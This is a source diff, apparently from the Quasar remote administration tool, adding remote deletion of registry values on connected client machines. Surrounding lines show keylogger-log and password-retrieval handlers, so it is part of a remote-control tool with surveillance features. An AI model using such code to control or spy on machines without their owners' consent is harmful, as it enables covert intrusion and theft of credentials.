diff --git a/Client/Client.csproj b/Client/Client.csproj index db491b62..17e99ffa 100644 --- a/Client/Client.csproj +++ b/Client/Client.csproj @@ -97,6 +97,7 @@ + @@ -104,6 +105,7 @@ + diff --git a/Client/Core/Commands/RegistryHandler.cs b/Client/Core/Commands/RegistryHandler.cs index 95fe2054..d853016b 100644 --- a/Client/Core/Commands/RegistryHandler.cs +++ b/Client/Core/Commands/RegistryHandler.cs @@ -147,6 +147,26 @@ namespace xClient.Core.Commands responsePacket.Execute(client); } + public static void HandleDeleteRegistryValue(xClient.Core.Packets.ServerPackets.DoDeleteRegistryValue packet, Client client) + { + xClient.Core.Packets.ClientPackets.GetDeleteRegistryValueResponse responsePacket = new Packets.ClientPackets.GetDeleteRegistryValueResponse(); + string errorMsg = ""; + try + { + responsePacket.IsError = !(RegistryEditor.DeleteRegistryValue(packet.KeyPath, packet.ValueName, out errorMsg)); + } + catch (Exception ex) + { + responsePacket.IsError = true; + errorMsg = ex.Message; + } + responsePacket.ErrorMsg = errorMsg; + responsePacket.ValueName = packet.ValueName; + responsePacket.KeyPath = packet.KeyPath; + + responsePacket.Execute(client); + } + #endregion } } diff --git a/Client/Core/Extensions/RegistryKeyExtensions.cs b/Client/Core/Extensions/RegistryKeyExtensions.cs index 5417dac5..02fe1f5c 100644 --- a/Client/Core/Extensions/RegistryKeyExtensions.cs +++ b/Client/Core/Extensions/RegistryKeyExtensions.cs @@ -247,6 +247,26 @@ namespace xClient.Core.Extensions } } + /// + /// Attempts to delete a registry value for the key provided using the specified + /// name. + /// + /// The key of which the value is to be delete from. + /// The name of the value. + /// Returns a boolean value if the action succeded or failed. + public static bool DeleteValueSafe(this RegistryKey key, string name) + { + try + { + key.DeleteValue(name); + return true; + } + catch + { + return false; + } + } + #endregion #region Find diff --git a/Client/Core/Networking/QuasarClient.cs b/Client/Core/Networking/QuasarClient.cs index e55d79e5..22af5f9e 100644 --- a/Client/Core/Networking/QuasarClient.cs +++ b/Client/Core/Networking/QuasarClient.cs @@ -62,6 +62,7 @@ namespace xClient.Core.Networking typeof (Packets.ServerPackets.DoDeleteRegistryKey), typeof (Packets.ServerPackets.DoRenameRegistryKey), typeof (Packets.ServerPackets.DoCreateRegistryValue), + typeof (Packets.ServerPackets.DoDeleteRegistryValue), typeof (Packets.ServerPackets.SetAuthenticationSuccess), typeof (Packets.ClientPackets.GetAuthenticationResponse), typeof (Packets.ClientPackets.SetStatus), @@ -83,6 +84,7 @@ namespace xClient.Core.Networking typeof (Packets.ClientPackets.GetDeleteRegistryKeyResponse), typeof (Packets.ClientPackets.GetRenameRegistryKeyResponse), typeof (Packets.ClientPackets.GetCreateRegistryValueResponse), + typeof (Packets.ClientPackets.GetDeleteRegistryValueResponse), typeof (ReverseProxy.Packets.ReverseProxyConnect), typeof (ReverseProxy.Packets.ReverseProxyConnectResponse), typeof (ReverseProxy.Packets.ReverseProxyData), diff --git a/Client/Core/Packets/ClientPackets/GetDeleteRegistryValueResponse.cs b/Client/Core/Packets/ClientPackets/GetDeleteRegistryValueResponse.cs new file mode 100644 index 00000000..a1775d87 --- /dev/null +++ b/Client/Core/Packets/ClientPackets/GetDeleteRegistryValueResponse.cs @@ -0,0 +1,25 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using xClient.Core.Networking; + +namespace xClient.Core.Packets.ClientPackets +{ + [Serializable] + public class GetDeleteRegistryValueResponse : IPacket + { + public string KeyPath { get; set; } + public string ValueName { get; set; } + + public bool IsError { get; set; } + public string ErrorMsg { get; set; } + + public GetDeleteRegistryValueResponse() { } + + public void Execute(Client client) + { + client.Send(this); + } + } +} diff --git a/Client/Core/Packets/PacketHandler.cs b/Client/Core/Packets/PacketHandler.cs index 6b638c84..316c433c 100644 --- a/Client/Core/Packets/PacketHandler.cs +++ b/Client/Core/Packets/PacketHandler.cs @@ -144,6 +144,10 @@ namespace xClient.Core.Packets { CommandHandler.HandleCreateRegistryValue((ServerPackets.DoCreateRegistryValue)packet, client); } + else if (type == typeof(ServerPackets.DoDeleteRegistryValue)) + { + CommandHandler.HandleDeleteRegistryValue((ServerPackets.DoDeleteRegistryValue)packet, client); + } else if (type == typeof(ServerPackets.GetKeyloggerLogs)) { CommandHandler.HandleGetKeyloggerLogs((ServerPackets.GetKeyloggerLogs)packet, client); diff --git a/Client/Core/Packets/ServerPackets/DoDeleteRegistryValue.cs b/Client/Core/Packets/ServerPackets/DoDeleteRegistryValue.cs new file mode 100644 index 00000000..fa08a5ad --- /dev/null +++ b/Client/Core/Packets/ServerPackets/DoDeleteRegistryValue.cs @@ -0,0 +1,26 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using xClient.Core.Networking; + +namespace xClient.Core.Packets.ServerPackets +{ + [Serializable] + public class DoDeleteRegistryValue : IPacket + { + public string KeyPath { get; set; } + public string ValueName { get; set; } + + public DoDeleteRegistryValue(string keyPath, string valueName) + { + KeyPath = keyPath; + ValueName = valueName; + } + + public void Execute(Client client) + { + client.Send(this); + } + } +} diff --git a/Client/Core/Registry/RegValueData.cs b/Client/Core/Registry/RegValueData.cs index f22967a5..bde83666 100644 --- a/Client/Core/Registry/RegValueData.cs +++ b/Client/Core/Registry/RegValueData.cs @@ -6,7 +6,7 @@ using System.Text; namespace xClient.Core.Registry { [Serializable] - public class RegValueData + public class RegValueData : IEquatable { public string Name { get; private set; } public string Type { get; private set; } @@ -19,9 +19,24 @@ namespace xClient.Core.Registry Data = data; } + public override bool Equals(object obj) + { + if (obj != null && obj.GetType() == typeof(RegValueData)) + { + return this.Equals((RegValueData)obj); + } + + return false; + } + public override string ToString() { return string.Format("({0}:{1}:{2})", Name, Type, Data); } + + public bool Equals(RegValueData value) + { + return this.Name == value.Name; + } } } diff --git a/Client/Core/Registry/RegistryEditor.cs b/Client/Core/Registry/RegistryEditor.cs index 05c36df1..166606b9 100644 --- a/Client/Core/Registry/RegistryEditor.cs +++ b/Client/Core/Registry/RegistryEditor.cs @@ -26,6 +26,8 @@ namespace xClient.Core.Registry private const string REGISTRY_VALUE_CREATE_ERROR = "Cannot create value: Error writing to the registry"; + private const string REGISTRY_VALUE_DELETE_ERROR = "Cannot delete value: Error writing to the registry"; + #endregion #endregion @@ -243,6 +245,54 @@ namespace xClient.Core.Registry } + /// + /// Attempts to delete the desired registry value from the specified key. + /// + /// The path to the key for which to delete the registry value on. + /// /// The name of the registry value to delete. + /// output parameter that contians possible error message. + /// Returns boolean value for if the operation failed or succeded. + public static bool DeleteRegistryValue(string keyPath, string name, out string errorMsg) + { + try + { + RegistryKey parent = RegistrySeeker.GetWritableRegistryKey(keyPath); + + //Invalid can not open parent + if (parent == null) + { + errorMsg = "You do not have access to open registry: " + keyPath + ", try running as administrator"; + return false; + } + + //Value does not exist + if (!parent.ContainsValue(name)) + { + errorMsg = "The registry: " + name + " does not exist in: " + keyPath; + //If value does not exists then the action has already succeded + return true; + } + + bool success = parent.DeleteValueSafe(name); + + //Value could not be deleted + if (!success) + { + errorMsg = REGISTRY_VALUE_DELETE_ERROR; + return false; + } + + //Value was successfully deleted + errorMsg = ""; + return true; + } + catch (Exception ex) + { + errorMsg = ex.Message; + return false; + } + } + #endregion } } diff --git a/Server/Controls/RegistryValueLstItem.cs b/Server/Controls/RegistryValueLstItem.cs index 71d1e81f..2a0ee304 100644 --- a/Server/Controls/RegistryValueLstItem.cs +++ b/Server/Controls/RegistryValueLstItem.cs @@ -33,6 +33,7 @@ namespace xServer.Controls base(name) { RegName = name; + this.Name = name; this.SubItems.Add(type); Type = type; this.SubItems.Add(data); diff --git a/Server/Core/Commands/RegistryHandler.cs b/Server/Core/Commands/RegistryHandler.cs index ea8724fd..5d50ee8b 100644 --- a/Server/Core/Commands/RegistryHandler.cs +++ b/Server/Core/Commands/RegistryHandler.cs @@ -113,6 +113,26 @@ namespace xServer.Core.Commands catch { } } + public static void HandleDeleteRegistryValue(xServer.Core.Packets.ClientPackets.GetDeleteRegistryValueResponse packet, Client client) + { + try + { + // Make sure that the client is in the correct state to handle the packet appropriately. + if (client != null && client.Value.FrmRe != null && !client.Value.FrmRe.IsDisposed || !client.Value.FrmRe.Disposing) + { + if (!packet.IsError) + { + client.Value.FrmRe.DeleteValueFromList(packet.KeyPath, packet.ValueName); + } + else + { + client.Value.FrmRe.ShowErrorMessage(packet.ErrorMsg); + } + } + } + catch { } + } + #endregion } } diff --git a/Server/Core/Networking/QuasarServer.cs b/Server/Core/Networking/QuasarServer.cs index 42d5efa0..7a4bdef5 100644 --- a/Server/Core/Networking/QuasarServer.cs +++ b/Server/Core/Networking/QuasarServer.cs @@ -109,6 +109,7 @@ namespace xServer.Core.Networking typeof (Packets.ServerPackets.DoDeleteRegistryKey), typeof (Packets.ServerPackets.DoRenameRegistryKey), typeof (Packets.ServerPackets.DoCreateRegistryValue), + typeof (Packets.ServerPackets.DoDeleteRegistryValue), typeof (Packets.ServerPackets.SetAuthenticationSuccess), typeof (Packets.ClientPackets.GetAuthenticationResponse), typeof (Packets.ClientPackets.SetStatus), @@ -130,6 +131,7 @@ namespace xServer.Core.Networking typeof (Packets.ClientPackets.GetDeleteRegistryKeyResponse), typeof (Packets.ClientPackets.GetRenameRegistryKeyResponse), typeof (Packets.ClientPackets.GetCreateRegistryValueResponse), + typeof (Packets.ClientPackets.GetDeleteRegistryValueResponse), typeof (ReverseProxy.Packets.ReverseProxyConnect), typeof (ReverseProxy.Packets.ReverseProxyConnectResponse), typeof (ReverseProxy.Packets.ReverseProxyData), diff --git a/Server/Core/Packets/ClientPackets/GetDeleteRegistryValueResponse.cs b/Server/Core/Packets/ClientPackets/GetDeleteRegistryValueResponse.cs new file mode 100644 index 00000000..500950a3 --- /dev/null +++ b/Server/Core/Packets/ClientPackets/GetDeleteRegistryValueResponse.cs @@ -0,0 +1,25 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using xServer.Core.Networking; + +namespace xServer.Core.Packets.ClientPackets +{ + [Serializable] + public class GetDeleteRegistryValueResponse : IPacket + { + public string KeyPath { get; set; } + public string ValueName { get; set; } + + public bool IsError { get; set; } + public string ErrorMsg { get; set; } + + public GetDeleteRegistryValueResponse() { } + + public void Execute(Client client) + { + client.Send(this); + } + } +} diff --git a/Server/Core/Packets/PacketHandler.cs b/Server/Core/Packets/PacketHandler.cs index 76ab87f5..58130f63 100644 --- a/Server/Core/Packets/PacketHandler.cs +++ b/Server/Core/Packets/PacketHandler.cs @@ -86,6 +86,10 @@ namespace xServer.Core.Packets { CommandHandler.HandleCreateRegistryValue((ClientPackets.GetCreateRegistryValueResponse)packet, client); } + else if (type == typeof(ClientPackets.GetDeleteRegistryValueResponse)) + { + CommandHandler.HandleDeleteRegistryValue((ClientPackets.GetDeleteRegistryValueResponse)packet, client); + } else if (type == typeof(ClientPackets.GetPasswordsResponse)) { CommandHandler.HandleGetPasswordsResponse(client, (ClientPackets.GetPasswordsResponse)packet); diff --git a/Server/Core/Packets/ServerPackets/DoDeleteRegistryValue.cs b/Server/Core/Packets/ServerPackets/DoDeleteRegistryValue.cs new file mode 100644 index 00000000..a0b3bd9a --- /dev/null +++ b/Server/Core/Packets/ServerPackets/DoDeleteRegistryValue.cs @@ -0,0 +1,26 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using xServer.Core.Networking; + +namespace xServer.Core.Packets.ServerPackets +{ + [Serializable] + public class DoDeleteRegistryValue : IPacket + { + public string KeyPath { get; set; } + public string ValueName { get; set; } + + public DoDeleteRegistryValue(string keyPath, string valueName) + { + KeyPath = keyPath; + ValueName = valueName; + } + + public void Execute(Client client) + { + client.Send(this); + } + } +} diff --git a/Server/Core/Registry/RegValueData.cs b/Server/Core/Registry/RegValueData.cs index e1681955..851bd681 100644 --- a/Server/Core/Registry/RegValueData.cs +++ b/Server/Core/Registry/RegValueData.cs @@ -6,7 +6,7 @@ using System.Text; namespace xServer.Core.Registry { [Serializable] - public class RegValueData + public class RegValueData : IEquatable { public string Name { get; private set; } public string Type { get; private set; } @@ -19,9 +19,24 @@ namespace xServer.Core.Registry Data = data; } + public override bool Equals(object obj) + { + if (obj != null && obj.GetType() == typeof(RegValueData)) + { + return this.Equals((RegValueData)obj); + } + + return false; + } + public override string ToString() { return string.Format("({0}:{1}:{2})", Name, Type, Data); } + + public bool Equals(RegValueData value) + { + return this.Name == value.Name; + } } } diff --git a/Server/Forms/FrmRegistryEditor.Designer.cs b/Server/Forms/FrmRegistryEditor.Designer.cs index aeb04bdb..17ee3c53 100644 --- a/Server/Forms/FrmRegistryEditor.Designer.cs +++ b/Server/Forms/FrmRegistryEditor.Designer.cs @@ -35,10 +35,6 @@ namespace xServer.Forms this.splitContainer = new System.Windows.Forms.SplitContainer(); this.tvRegistryDirectory = new System.Windows.Forms.TreeView(); this.imageRegistryDirectoryList = new System.Windows.Forms.ImageList(this.components); - this.lstRegistryKeys = new xServer.Controls.AeroListView(); - this.hName = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); - this.hType = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); - this.hValue = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.imageRegistryKeyTypeList = new System.Windows.Forms.ImageList(this.components); this.statusStrip = new System.Windows.Forms.StatusStrip(); this.selectedStripStatusLabel = new System.Windows.Forms.ToolStripStatusLabel(); @@ -71,6 +67,10 @@ namespace xServer.Forms this.qWORD64bitValueToolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem(); this.multiStringValueToolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem(); this.expandableStringValueToolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem(); + this.lstRegistryKeys = new xServer.Controls.AeroListView(); + this.hName = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.hType = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.hValue = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.tableLayoutPanel.SuspendLayout(); ((System.ComponentModel.ISupportInitialize)(this.splitContainer)).BeginInit(); this.splitContainer.Panel1.SuspendLayout(); @@ -137,41 +137,6 @@ namespace xServer.Forms this.imageRegistryDirectoryList.TransparentColor = System.Drawing.Color.Transparent; this.imageRegistryDirectoryList.Images.SetKeyName(0, "folder.png"); // - // lstRegistryKeys - // - this.lstRegistryKeys.Columns.AddRange(new System.Windows.Forms.ColumnHeader[] { - this.hName, - this.hType, - this.hValue}); - this.lstRegistryKeys.Dock = System.Windows.Forms.DockStyle.Fill; - this.lstRegistryKeys.FullRowSelect = true; - this.lstRegistryKeys.HeaderStyle = System.Windows.Forms.ColumnHeaderStyle.Nonclickable; - this.lstRegistryKeys.HideSelection = false; - this.lstRegistryKeys.Location = new System.Drawing.Point(0, 0); - this.lstRegistryKeys.Name = "lstRegistryKeys"; - this.lstRegistryKeys.Size = new System.Drawing.Size(818, 664); - this.lstRegistryKeys.SmallImageList = this.imageRegistryKeyTypeList; - this.lstRegistryKeys.Sorting = System.Windows.Forms.SortOrder.Descending; - this.lstRegistryKeys.TabIndex = 0; - this.lstRegistryKeys.UseCompatibleStateImageBehavior = false; - this.lstRegistryKeys.View = System.Windows.Forms.View.Details; - this.lstRegistryKeys.MouseUp += new System.Windows.Forms.MouseEventHandler(this.lstRegistryKeys_MouseClick); - // - // hName - // - this.hName.Text = "Name"; - this.hName.Width = 203; - // - // hType - // - this.hType.Text = "Type"; - this.hType.Width = 149; - // - // hValue - // - this.hValue.Text = "Value"; - this.hValue.Width = 384; - // // imageRegistryKeyTypeList // this.imageRegistryKeyTypeList.ImageStream = ((System.Windows.Forms.ImageListStreamer)(resources.GetObject("imageRegistryKeyTypeList.ImageStream"))); @@ -303,7 +268,7 @@ namespace xServer.Forms this.deleteToolStripMenuItem1, this.renameToolStripMenuItem1}); this.selectedItem_ContextMenuStrip.Name = "selectedItem_ContextMenuStrip"; - this.selectedItem_ContextMenuStrip.Size = new System.Drawing.Size(185, 98); + this.selectedItem_ContextMenuStrip.Size = new System.Drawing.Size(185, 120); // // modifyToolStripMenuItem // @@ -327,10 +292,10 @@ namespace xServer.Forms // // deleteToolStripMenuItem1 // - this.deleteToolStripMenuItem1.Enabled = false; this.deleteToolStripMenuItem1.Name = "deleteToolStripMenuItem1"; this.deleteToolStripMenuItem1.Size = new System.Drawing.Size(184, 22); this.deleteToolStripMenuItem1.Text = "Delete"; + this.deleteToolStripMenuItem1.Click += new System.EventHandler(this.deleteRegistryValue_Click); // // renameToolStripMenuItem1 // @@ -415,6 +380,41 @@ namespace xServer.Forms this.expandableStringValueToolStripMenuItem1.Text = "Expandable String Value"; this.expandableStringValueToolStripMenuItem1.Click += new System.EventHandler(this.createExpandStringRegistryValue_Click); // + // lstRegistryKeys + // + this.lstRegistryKeys.Columns.AddRange(new System.Windows.Forms.ColumnHeader[] { + this.hName, + this.hType, + this.hValue}); + this.lstRegistryKeys.Dock = System.Windows.Forms.DockStyle.Fill; + this.lstRegistryKeys.FullRowSelect = true; + this.lstRegistryKeys.HeaderStyle = System.Windows.Forms.ColumnHeaderStyle.Nonclickable; + this.lstRegistryKeys.HideSelection = false; + this.lstRegistryKeys.Location = new System.Drawing.Point(0, 0); + this.lstRegistryKeys.Name = "lstRegistryKeys"; + this.lstRegistryKeys.Size = new System.Drawing.Size(818, 664); + this.lstRegistryKeys.SmallImageList = this.imageRegistryKeyTypeList; + this.lstRegistryKeys.Sorting = System.Windows.Forms.SortOrder.Descending; + this.lstRegistryKeys.TabIndex = 0; + this.lstRegistryKeys.UseCompatibleStateImageBehavior = false; + this.lstRegistryKeys.View = System.Windows.Forms.View.Details; + this.lstRegistryKeys.MouseUp += new System.Windows.Forms.MouseEventHandler(this.lstRegistryKeys_MouseClick); + // + // hName + // + this.hName.Text = "Name"; + this.hName.Width = 203; + // + // hType + // + this.hType.Text = "Type"; + this.hType.Width = 149; + // + // hValue + // + this.hValue.Text = "Value"; + this.hValue.Width = 384; + // // FrmRegistryEditor // this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); diff --git a/Server/Forms/FrmRegistryEditor.cs b/Server/Forms/FrmRegistryEditor.cs index 16856eeb..c12653de 100644 --- a/Server/Forms/FrmRegistryEditor.cs +++ b/Server/Forms/FrmRegistryEditor.cs @@ -319,6 +319,38 @@ namespace xServer.Forms } } + public void DeleteValueFromList(string keyPath, string valueName) + { + TreeNode key = GetParentTreeNode(keyPath); + + if (key != null) + { + lstRegistryKeys.Invoke((MethodInvoker)delegate + { + List ValuesFromNode = null; + if (key.Tag != null) + { + if (key.Tag.GetType() == typeof(List)) + { + ValuesFromNode = (List)key.Tag; + ValuesFromNode.Remove(new RegValueData(valueName, null, null)); + } + else { return; } + } + + if (tvRegistryDirectory.SelectedNode == key) + { + lstRegistryKeys.Items.RemoveByKey(valueName); + } + else + { + tvRegistryDirectory.SelectedNode = key; + } + + }); + } + } + private void UpdateLstRegistryKeys(TreeNode node) { selectedStripStatusLabel.Text = node.FullPath; @@ -573,7 +605,28 @@ namespace xServer.Forms #region Registry Value edit + private void deleteRegistryValue_Click(object sender, EventArgs e) + { + if(tvRegistryDirectory.SelectedNode != null) { + //Prompt user to confirm delete + string msg = "Deleting certain registry values could cause system instability. Are you sure you want to permanently delete this value?"; + string caption = "Confirm Value Delete"; + var answer = MessageBox.Show(msg, caption, MessageBoxButtons.YesNo, MessageBoxIcon.Warning); + + if (answer == DialogResult.Yes) + { + foreach (var item in lstRegistryKeys.SelectedItems) + { + if (item.GetType() == typeof(RegistryValueLstItem)) + { + RegistryValueLstItem registyValue = (RegistryValueLstItem)item; + new xServer.Core.Packets.ServerPackets.DoDeleteRegistryValue(tvRegistryDirectory.SelectedNode.FullPath, registyValue.RegName).Execute(_connectClient); + } + } + } + } + } #endregion diff --git a/Server/Forms/FrmRegistryEditor.resx b/Server/Forms/FrmRegistryEditor.resx index 2397166c..d9b674bf 100644 --- a/Server/Forms/FrmRegistryEditor.resx +++ b/Server/Forms/FrmRegistryEditor.resx @@ -124,41 +124,41 @@ AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj00LjAuMC4w LCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAACZTeXN0 - ZW0uV2luZG93cy5Gb3Jtcy5JbWFnZUxpc3RTdHJlYW1lcgEAAAAERGF0YQcCAgAAAAkDAAAADwMAAADm - BwAAAk1TRnQBSQFMAwEBAAG4AQEBuAEBARABAAEQAQAE/wEJAQAI/wFCAU0BNgEEBgABNgEEAgABKAMA - AUADAAEQAwABAQEAAQgGAAEEGAABgAIAAYADAAKAAQABgAMAAYABAAGAAQACgAIAA8ABAAHAAdwBwAEA - AfABygGmAQABMwUAATMBAAEzAQABMwEAAjMCAAMWAQADHAEAAyIBAAMpAQADVQEAA00BAANCAQADOQEA - AYABfAH/AQACUAH/AQABkwEAAdYBAAH/AewBzAEAAcYB1gHvAQAB1gLnAQABkAGpAa0CAAH/ATMDAAFm - AwABmQMAAcwCAAEzAwACMwIAATMBZgIAATMBmQIAATMBzAIAATMB/wIAAWYDAAFmATMCAAJmAgABZgGZ - AgABZgHMAgABZgH/AgABmQMAAZkBMwIAAZkBZgIAApkCAAGZAcwCAAGZAf8CAAHMAwABzAEzAgABzAFm - AgABzAGZAgACzAIAAcwB/wIAAf8BZgIAAf8BmQIAAf8BzAEAATMB/wIAAf8BAAEzAQABMwEAAWYBAAEz - AQABmQEAATMBAAHMAQABMwEAAf8BAAH/ATMCAAMzAQACMwFmAQACMwGZAQACMwHMAQACMwH/AQABMwFm - AgABMwFmATMBAAEzAmYBAAEzAWYBmQEAATMBZgHMAQABMwFmAf8BAAEzAZkCAAEzAZkBMwEAATMBmQFm - AQABMwKZAQABMwGZAcwBAAEzAZkB/wEAATMBzAIAATMBzAEzAQABMwHMAWYBAAEzAcwBmQEAATMCzAEA - ATMBzAH/AQABMwH/ATMBAAEzAf8BZgEAATMB/wGZAQABMwH/AcwBAAEzAv8BAAFmAwABZgEAATMBAAFm - AQABZgEAAWYBAAGZAQABZgEAAcwBAAFmAQAB/wEAAWYBMwIAAWYCMwEAAWYBMwFmAQABZgEzAZkBAAFm - ATMBzAEAAWYBMwH/AQACZgIAAmYBMwEAA2YBAAJmAZkBAAJmAcwBAAFmAZkCAAFmAZkBMwEAAWYBmQFm - AQABZgKZAQABZgGZAcwBAAFmAZkB/wEAAWYBzAIAAWYBzAEzAQABZgHMAZkBAAFmAswBAAFmAcwB/wEA - AWYB/wIAAWYB/wEzAQABZgH/AZkBAAFmAf8BzAEAAcwBAAH/AQAB/wEAAcwBAAKZAgABmQEzAZkBAAGZ - AQABmQEAAZkBAAHMAQABmQMAAZkCMwEAAZkBAAFmAQABmQEzAcwBAAGZAQAB/wEAAZkBZgIAAZkBZgEz - AQABmQEzAWYBAAGZAWYBmQEAAZkBZgHMAQABmQEzAf8BAAKZATMBAAKZAWYBAAOZAQACmQHMAQACmQH/ - AQABmQHMAgABmQHMATMBAAFmAcwBZgEAAZkBzAGZAQABmQLMAQABmQHMAf8BAAGZAf8CAAGZAf8BMwEA - AZkBzAFmAQABmQH/AZkBAAGZAf8BzAEAAZkC/wEAAcwDAAGZAQABMwEAAcwBAAFmAQABzAEAAZkBAAHM - AQABzAEAAZkBMwIAAcwCMwEAAcwBMwFmAQABzAEzAZkBAAHMATMBzAEAAcwBMwH/AQABzAFmAgABzAFm - ATMBAAGZAmYBAAHMAWYBmQEAAcwBZgHMAQABmQFmAf8BAAHMAZkCAAHMAZkBMwEAAcwBmQFmAQABzAKZ - AQABzAGZAcwBAAHMAZkB/wEAAswCAALMATMBAALMAWYBAALMAZkBAAPMAQACzAH/AQABzAH/AgABzAH/ - ATMBAAGZAf8BZgEAAcwB/wGZAQABzAH/AcwBAAHMAv8BAAHMAQABMwEAAf8BAAFmAQAB/wEAAZkBAAHM - ATMCAAH/AjMBAAH/ATMBZgEAAf8BMwGZAQAB/wEzAcwBAAH/ATMB/wEAAf8BZgIAAf8BZgEzAQABzAJm - AQAB/wFmAZkBAAH/AWYBzAEAAcwBZgH/AQAB/wGZAgAB/wGZATMBAAH/AZkBZgEAAf8CmQEAAf8BmQHM - AQAB/wGZAf8BAAH/AcwCAAH/AcwBMwEAAf8BzAFmAQAB/wHMAZkBAAH/AswBAAH/AcwB/wEAAv8BMwEA - AcwB/wFmAQAC/wGZAQAC/wHMAQACZgH/AQABZgH/AWYBAAFmAv8BAAH/AmYBAAH/AWYB/wEAAv8BZgEA - ASEBAAGlAQADXwEAA3cBAAOGAQADlgEAA8sBAAOyAQAD1wEAA90BAAPjAQAD6gEAA/EBAAP4AQAB8AH7 - Af8BAAGkAqABAAOAAwAB/wIAAf8DAAL/AQAB/wMAAf8BAAH/AQAC/wIAA/+CAAEaAZkLUgEaMgABdAEb - ARoEmgV6AcMBUjIAAVIB9gGgApoDegRZAcMBUjIAAVIB9gHDAaACmgN6A1kBwwFSMgABUgH2AsMCoAGa - A3oCWQHDAVIyAAFSAv8D9gHDApoDegHDAVIyAAFSAfYCmgF6ARsG9gH/AVgyAAFYAfYDmgJ6ApoDegH2 - AVgyAAFYAfYDmgEaBvYB/wF5MgABWAX/AfYEeQKZARsyAAd5B//xAAFCAU0BPgcAAT4DAAEoAwABQAMA - ARADAAEBAQABAQUAAYAXAAP/AQAC/wYAAv8GAAGAAQEGAAGAAQEGAAGAAQEGAAGAAQEGAAGAAQEGAAGA - AQEGAAGAAQEGAAGAAQEGAAGAAQEGAAGAAQEGAAGAAQEGAAL/BgAC/wYAAv8GAAs= + ZW0uV2luZG93cy5Gb3Jtcy5JbWFnZUxpc3RTdHJlYW1lcgEAAAAERGF0YQcCAgAAAAkDAAAADwMAAADk + BwAAAk1TRnQBSQFMAwECAAECAQABAgEQAQABEAEABP8BCQEACP8BQgFNATYBBAYAATYBBAIAASgDAAFA + AwABEAMAAQEBAAEIBgABBBgAAYACAAGAAwACgAEAAYADAAGAAQABgAEAAoACAAPAAQABwAHcAcABAAHw + AcoBpgEAATMFAAEzAQABMwEAATMBAAIzAgADFgEAAxwBAAMiAQADKQEAA1UBAANNAQADQgEAAzkBAAGA + AXwB/wEAAlAB/wEAAZMBAAHWAQAB/wHsAcwBAAHGAdYB7wEAAdYC5wEAAZABqQGtAgAB/wEzAwABZgMA + AZkDAAHMAgABMwMAAjMCAAEzAWYCAAEzAZkCAAEzAcwCAAEzAf8CAAFmAwABZgEzAgACZgIAAWYBmQIA + AWYBzAIAAWYB/wIAAZkDAAGZATMCAAGZAWYCAAKZAgABmQHMAgABmQH/AgABzAMAAcwBMwIAAcwBZgIA + AcwBmQIAAswCAAHMAf8CAAH/AWYCAAH/AZkCAAH/AcwBAAEzAf8CAAH/AQABMwEAATMBAAFmAQABMwEA + AZkBAAEzAQABzAEAATMBAAH/AQAB/wEzAgADMwEAAjMBZgEAAjMBmQEAAjMBzAEAAjMB/wEAATMBZgIA + ATMBZgEzAQABMwJmAQABMwFmAZkBAAEzAWYBzAEAATMBZgH/AQABMwGZAgABMwGZATMBAAEzAZkBZgEA + ATMCmQEAATMBmQHMAQABMwGZAf8BAAEzAcwCAAEzAcwBMwEAATMBzAFmAQABMwHMAZkBAAEzAswBAAEz + AcwB/wEAATMB/wEzAQABMwH/AWYBAAEzAf8BmQEAATMB/wHMAQABMwL/AQABZgMAAWYBAAEzAQABZgEA + AWYBAAFmAQABmQEAAWYBAAHMAQABZgEAAf8BAAFmATMCAAFmAjMBAAFmATMBZgEAAWYBMwGZAQABZgEz + AcwBAAFmATMB/wEAAmYCAAJmATMBAANmAQACZgGZAQACZgHMAQABZgGZAgABZgGZATMBAAFmAZkBZgEA + AWYCmQEAAWYBmQHMAQABZgGZAf8BAAFmAcwCAAFmAcwBMwEAAWYBzAGZAQABZgLMAQABZgHMAf8BAAFm + Af8CAAFmAf8BMwEAAWYB/wGZAQABZgH/AcwBAAHMAQAB/wEAAf8BAAHMAQACmQIAAZkBMwGZAQABmQEA + AZkBAAGZAQABzAEAAZkDAAGZAjMBAAGZAQABZgEAAZkBMwHMAQABmQEAAf8BAAGZAWYCAAGZAWYBMwEA + AZkBMwFmAQABmQFmAZkBAAGZAWYBzAEAAZkBMwH/AQACmQEzAQACmQFmAQADmQEAApkBzAEAApkB/wEA + AZkBzAIAAZkBzAEzAQABZgHMAWYBAAGZAcwBmQEAAZkCzAEAAZkBzAH/AQABmQH/AgABmQH/ATMBAAGZ + AcwBZgEAAZkB/wGZAQABmQH/AcwBAAGZAv8BAAHMAwABmQEAATMBAAHMAQABZgEAAcwBAAGZAQABzAEA + AcwBAAGZATMCAAHMAjMBAAHMATMBZgEAAcwBMwGZAQABzAEzAcwBAAHMATMB/wEAAcwBZgIAAcwBZgEz + AQABmQJmAQABzAFmAZkBAAHMAWYBzAEAAZkBZgH/AQABzAGZAgABzAGZATMBAAHMAZkBZgEAAcwCmQEA + AcwBmQHMAQABzAGZAf8BAALMAgACzAEzAQACzAFmAQACzAGZAQADzAEAAswB/wEAAcwB/wIAAcwB/wEz + AQABmQH/AWYBAAHMAf8BmQEAAcwB/wHMAQABzAL/AQABzAEAATMBAAH/AQABZgEAAf8BAAGZAQABzAEz + AgAB/wIzAQAB/wEzAWYBAAH/ATMBmQEAAf8BMwHMAQAB/wEzAf8BAAH/AWYCAAH/AWYBMwEAAcwCZgEA + Af8BZgGZAQAB/wFmAcwBAAHMAWYB/wEAAf8BmQIAAf8BmQEzAQAB/wGZAWYBAAH/ApkBAAH/AZkBzAEA + 